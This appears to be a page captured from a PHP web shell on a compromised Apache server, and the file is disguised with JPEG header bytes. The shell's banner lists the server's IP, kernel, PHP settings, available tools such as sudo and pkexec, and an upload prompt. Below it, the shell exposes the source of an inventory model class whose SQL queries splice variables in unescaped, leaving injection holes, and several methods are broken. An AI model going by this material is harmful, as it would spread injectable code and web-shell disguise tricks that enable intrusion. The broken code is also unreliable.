����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����
Server IP : 74.208.127.88 / Your IP : 18.222.188.218 Web Server : Apache/2.4.41 (Ubuntu) System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64 User : www-data ( 33) PHP Version : 7.4.3-4ubuntu2.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /var/www/html/t/sae/appsae/core/app/model/ |
Upload File : |
<?php class OperationData2 { public static $tablename = "operation2"; public function OperationData2(){ $this->barcode = ""; $this->name = ""; $this->product_id = ""; $this->q = ""; $this->cut_id = ""; $this->re_id = ""; $this->operation_type_id = ""; $this->created_at = "NOW()"; } public function getBybarcode(){ return ProductData::getBycode($this->barcode);} public function add(){ $sql = "insert into ".self::$tablename." (price_in,price_out,stock_id,product_id,q,operation_type_id,re_id,created_at) "; $sql .= "value ($this->price_in,$this->price_out,$this->stock_id,\"$this->product_id\",\"$this->q\",$this->operation_type_id,$this->re_id,$this->created_at)"; return Executor::doit($sql); } public function add_cotization(){ $sql = "insert into ".self::$tablename." (price_in,price_out,is_draft,stock_id,product_id,q,operation_type_id,sell_id,created_at) "; $sql .= "value ($this->price_in,$this->price_out,1, $this->stock_id,\"$this->product_id\",\"$this->q\",$this->operation_type_id,$this->sell_id,$this->created_at)"; return Executor::doit($sql); } public static function delById($id){ $sql = "delete from ".self::$tablename." where id=$id"; Executor::doit($sql); } public function del(){ $sql = "delete from ".self::$tablename." where id=$this->id"; Executor::doit($sql); } // partiendo de que ya tenemos creado un objecto OperationData previamente utilizamos el contexto public function update(){ $sql = "update ".self::$tablename." set product_id=\"$this->product_id\",q=\"$this->q\" where id=$this->id"; Executor::doit($sql); } public function set_draft($d){ $sql = "update ".self::$tablename." set is_draft=\"$d\" where id=$this->id"; Executor::doit($sql); } public function updateAj($id){ $sql = "update ".self::$tablename." set is_draft=1 where id=$id"; Executor::doit($sql); } public function update_q(){ $sql = "update ".self::$tablename." set q=\"$this->q\" where id=$this->id"; Executor::doit($sql); } public function update_type(){ $sql = "update ".self::$tablename." set operation_type_id=\"$this->operation_type_id\" where id=$this->id"; Executor::doit($sql); } public static function getById($id){ $sql = "select * from ".self::$tablename." where id=$id"; $query = Executor::doit($sql); return Model::one($query[0],new OperationData2()); } public static function getBySumOC($barcode, $stock){ $sql = "select sum(`q`) as sum from ".self::$tablename." where `barcode`= \"$barcode\" and `operation_type_id`=1 and stock_id = $stock"; $query = Executor::doit($sql); return Model::many($query[0],new OperationData2()); } public static function getAll(){ $sql = "select * from ".self::$tablename." order by created_at asc"; $query = Executor::doit($sql); return Model::many($query[0],new OperationData2()); } public static function getAllByDateOfficial($stock,$start,$end){ $sql = "select * from ".self::$tablename." where (date(created_at) >= \"$start\" and date(created_at) <= \"$end\") and stock_id=$stock order by created_at desc"; $query = Executor::doit($sql); return Model::many($query[0],new OperationData2()); } public static function getAllByDateNow(){ $sql = "SELECT `uniqid`,`id_item`,`barcode`,`qty` FROM `purchase_order` WHERE `input_date` < NOW()"; $query = Executor::doit($sql); return Model::many($query[0],new OperationData2()); } public static function getPPByDateOfficial($start,$end){ $sql = "select *,sum(q) as total from ".self::$tablename." where (date(created_at) >= \"$start\" and date(created_at) <= \"$end\") and operation_type_id=2 group by product_id order by total desc"; $query = Executor::doit($sql); return Model::many($query[0],new OperationData2()); } public static function getAllByDateOfficialBP($stock,$product, $start,$end){ $sql = "select * from ".self::$tablename." where (date(created_at) >= \"$start\" and date(created_at) <= \"$end\") and product_id=$product and stock_id=$stock order by created_at desc"; if($start == $end){ $sql = "select * from ".self::$tablename." where date(created_at) = \"$start\" order by created_at desc"; } $query = Executor::doit($sql); return Model::many($query[0],new OperationData2()); } public function getProduct(){ return ProductData::getById($this->product_id);} public function getProduct2(){ return ProductData::getBycode2($this->barcode);} public function getOperationtype(){ return OperationTypeData::getById($this->operation_type_id);} public static function getQ($product_id){ $q=0; $operations = self::getAllByProductId($product_id); $input_id = OperationTypeData::getByName("entrada")->id; $output_id = OperationTypeData::getByName("salida")->id; foreach($operations as $operation){ if($operation->operation_type_id==$input_id){ $q+=$operation->q; } else if($operation->operation_type_id==$output_id){ $q+=(-$operation->q); } } // print_r($data); return $q; } public static function getQByStock($product_id,$stock_id){ $q=0; $operations = self::getAllByProductIdAndStock($product_id,$stock_id); $input_id = OperationTypeData::getByName("entrada")->id; $output_id = OperationTypeData::getByName("salida")->id; foreach($operations as $operation){ if($operation->operation_type_id==$input_id){ $q+=$operation->q; } else if($operation->operation_type_id==$output_id) { $q+=(-$operation->q); } } // print_r($data); return $q; } public static function getRByStock($product_id,$stock_id){ $q=0; $operations = self::getAllByProductIdAndStock($product_id,$stock_id); $input_id = OperationTypeData::getByName("entrada-pendiente")->id; foreach($operations as $operation){ if($operation->operation_type_id==$input_id){ $q+=$operation->q; } } // print_r($data); return $q; } public static function getDByStock($product_id,$stock_id){ $q=0; $operations = self::getAllByProductIdAndStock($product_id,$stock_id); $input_id = OperationTypeData::getByName("salida-pendiente")->id; foreach($operations as $operation){ if($operation->operation_type_id==$input_id){ $q+=$operation->q; } } // print_r($data); return $q; } public static function getAllByProductIdCutId($product_id,$cut_id){ $sql = "select * from ".self::$tablename." where product_id=$product_id and cut_id=$cut_id order by created_at desc"; $query = Executor::doit($sql); return Model::many($query[0],new OperationData2()); } public static function getAllByProductId($product_id){ $sql = "select * from ".self::$tablename." where product_id=$product_id order by created_at desc"; $query = Executor::doit($sql); return Model::many($query[0],new OperationData2()); } //compras public static function getAllByProductIdAndStock($product_id,$stock_id){ $sql = "select * from ".self::$tablename." where product_id=$product_id and stock_id=$stock_id and is_draft=0 order by created_at desc"; $query = Executor::doit($sql); return Model::many($query[0],new OperationData2()); } //ordenes de compra public static function getAllByProductIdAndStock_OC($barcode,$stock_id){ $sql = "select * from ".self::$tablename." where `barcode`= \"$barcode\" and `operation_type_id`=1 and is_draft=0 and stock_id = $stock_id order by created_at desc"; $query = Executor::doit($sql); return Model::many($query[0],new OperationData2()); } //ordenes de compra product id public static function getAllByProductIdAndStock_OC_ID($product_id,$stock_id){ $sql = "select * from ".self::$tablename." where product_id=$product_id and `operation_type_id`=1 and is_draft=0 and stock_id = $stock_id"; $query = Executor::doit($sql); return Model::many($query[0],new OperationData2()); } //ajuste salida public static function getAllByProductIdAndStock2($product_id,$stock_id){ $sql = "select * from ".self::$tablename." where product_id=$product_id and stock_id=$stock_id and operation_type_id=2 and is_draft=0 order by created_at desc"; $query = Executor::doit($sql); return Model::many($query[0],new OperationData2()); } //compras eliminadas public static function getAllByDel($product_id,$stock_id){ $sql = "select * from ".self::$tablename." where stock_id=$stock_id and is_draft=2 order by created_at desc"; $query = Executor::doit($sql); return Model::many($query[0],new OperationData2()); } public static function getAllByProductIdCutIdOficial($product_id,$cut_id){ $sql = "select * from ".self::$tablename." where product_id=$product_id and cut_id=$cut_id order by created_at desc"; return Model::many($query[0],new OperationData2()); } //compras por recibir public static function getAllProductsByReceiveId($sell_id){ $sql = "select * from ".self::$tablename." where re_id=$sell_id and operation_type_id=10 order by created_at desc"; $query = Executor::doit($sql); return Model::many($query[0],new OperationData2()); } //compras public static function getAllProductsByReId($sell_id){ $sql = "select * from ".self::$tablename." where re_id=$sell_id and operation_type_id=1 order by created_at desc"; $query = Executor::doit($sql); return Model::many($query[0],new OperationData2()); } //Ajustes-Entrada public static function getAllProductsByAjId($sell_id){ $sql = "select * from ".self::$tablename." where sell_id=$sell_id and operation_type_id=1 and is_draft = 1 order by created_at desc"; $query = Executor::doit($sql); return Model::many($query[0],new OperationData2()); } //Ajustes-OC public static function getAllProductsByAjId_OC($sell_id){ $sql = "select * from ".self::$tablename." where re_id=$sell_id and operation_type_id=1 and is_draft = 0 order by created_at desc"; $query = Executor::doit($sql); return Model::many($query[0],new OperationData2()); } //Ajustes-Pendiente-OC-entrada public static function getAllProductsByAjId_OC2($sell_id){ $sql = "select * from ".self::$tablename." where re_id=$sell_id and operation_type_id=10 and is_draft = 0 order by created_at desc"; $query = Executor::doit($sql); return Model::many($query[0],new OperationData2()); } //Ajustes-Salida public static function getAllProductsByAjId2($sell_id){ $sql = "select * from ".self::$tablename." where re_id=$sell_id and operation_type_id=2 and is_draft = 0 order by created_at desc"; $query = Executor::doit($sql); return Model::many($query[0],new OperationData2()); } // compra por recibir a eliminar public static function getAllProductsByAjIdDel($sell_id){ $sql = "select * from ".self::$tablename." where re_id=$sell_id and operation_type_id=10 and is_draft = 0 order by created_at desc"; $query = Executor::doit($sql); return Model::many($query[0],new OperationData2()); } //Comparas x barcode OC public static function getItemCompras($start,$end,$id){ $sql = "select *,sum(q) as compras from ".self::$tablename." where (date(created_at) >= \"$start\" and date(created_at) <= \"$end\") and barcode='$id' and operation_type_id=1"; $query = Executor::doit($sql); return Model::many($query[0],new OperationData2()); } //Comparas x barcode COMPRA NORMAL public static function getItemCompras2($start,$end,$id){ $sql = "select *,sum(q) as compras2 from ".self::$tablename." where (date(created_at) >= \"$start\" and date(created_at) <= \"$end\") and product_id='$id' and operation_type_id=1"; $query = Executor::doit($sql); return Model::many($query[0],new OperationData2()); } public static function getAllByProductIdCutIdYesF($product_id,$cut_id){ $sql = "select * from ".self::$tablename." where product_id=$product_id and cut_id=$cut_id order by created_at desc"; return Model::many($query[0],new OperationData2()); return $array; } //////////////////////////////////////////////////////////////////// public static function getOutputQ($product_id,$cut_id){ $q=0; $operations = self::getOutputByProductIdCutId($product_id,$cut_id); $input_id = OperationTypeData::getByName("entrada")->id; $output_id = OperationTypeData::getByName("salida")->id; foreach($operations as $operation){ if($operation->operation_type_id==$input_id){ $q+=$operation->q; } else if($operation->operation_type_id==$output_id){ $q+=(-$operation->q); } } // print_r($data); return $q; } public static function getOutputQYesF($product_id){ $q=0; $operations = self::getOutputByProductId($product_id); $input_id = OperationTypeData::getByName("entrada")->id; $output_id = OperationTypeData::getByName("salida")->id; foreach($operations as $operation){ if($operation->operation_type_id==$input_id){ $q+=$operation->q; } else if($operation->operation_type_id==$output_id){ $q+=(-$operation->q); } } // print_r($data); return $q; } public static function getInputQByStock($product_id,$stock_id){ $q=0; $operations = self::getInputByProductIdAndStock($product_id,$stock_id); $input_id = OperationTypeData::getByName("entrada")->id; foreach($operations as $operation){ if($operation->operation_type_id==$input_id){ $q+=$operation->q; } } // print_r($data); return $q; } public static function getOutputQByStock($product_id,$stock_id){ $q=0; $operations = self::getInputByProductIdAndStock($product_id,$stock_id); $input_id = OperationTypeData::getByName("salida")->id; foreach($operations as $operation){ if($operation->operation_type_id==$input_id){ $q+=$operation->q; } } // print_r($data); return $q; } public static function getOutputByProductIdCutId($product_id,$cut_id){ $sql = "select * from ".self::$tablename." where product_id=$product_id and cut_id=$cut_id and operation_type_id=2 order by created_at desc"; $query = Executor::doit($sql); return Model::many($query[0],new OperationData2()); } public static function getOutputByProductId($product_id){ $sql = "select * from ".self::$tablename." where product_id=$product_id and operation_type_id=2 order by created_at desc"; $query = Executor::doit($sql); return Model::many($query[0],new OperationData2()); } //////////////////////////////////////////////////////////////////// public static function getInputQ($product_id,$cut_id){ $q=0; return Model::many($query[0],new OperationData2()); $operations = self::getInputByProductId($product_id); $input_id = OperationTypeData::getByName("entrada")->id; $output_id = OperationTypeData::getByName("salida")->id; foreach($operations as $operation){ if($operation->operation_type_id==$input_id){ $q+=$operation->q; } else if($operation->operation_type_id==$output_id){ $q+=(-$operation->q); } } // print_r($data); return $q; } public static function getInputByProductIdCutId($product_id,$cut_id){ $sql = "select * from ".self::$tablename." where product_id=$product_id and cut_id=$cut_id and operation_type_id=1 order by created_at desc"; $query = Executor::doit($sql); return Model::many($query[0],new OperationData2()); } public static function getInputByProductId($product_id){ $sql = "select * from ".self::$tablename." where product_id=$product_id and operation_type_id=1 order by created_at desc"; $query = Executor::doit($sql); return Model::many($query[0],new OperationData2()); } public static function getInputByProductIdAndStock($product_id,$stock_id){ $sql = "select * from ".self::$tablename." where product_id=$product_id and stock_id=$stock_id order by created_at desc"; $query = Executor::doit($sql); return Model::many($query[0],new OperationData2()); } public static function getInputByProductIdCutIdYesF($product_id,$cut_id){ $sql = "select * from ".self::$tablename." where product_id=$product_id and cut_id=$cut_id and operation_type_id=1 order by created_at desc"; $query = Executor::doit($sql); return Model::many($query[0],new OperationData2()); } //////////////////////////////////////////////////////////////////////////// } ?>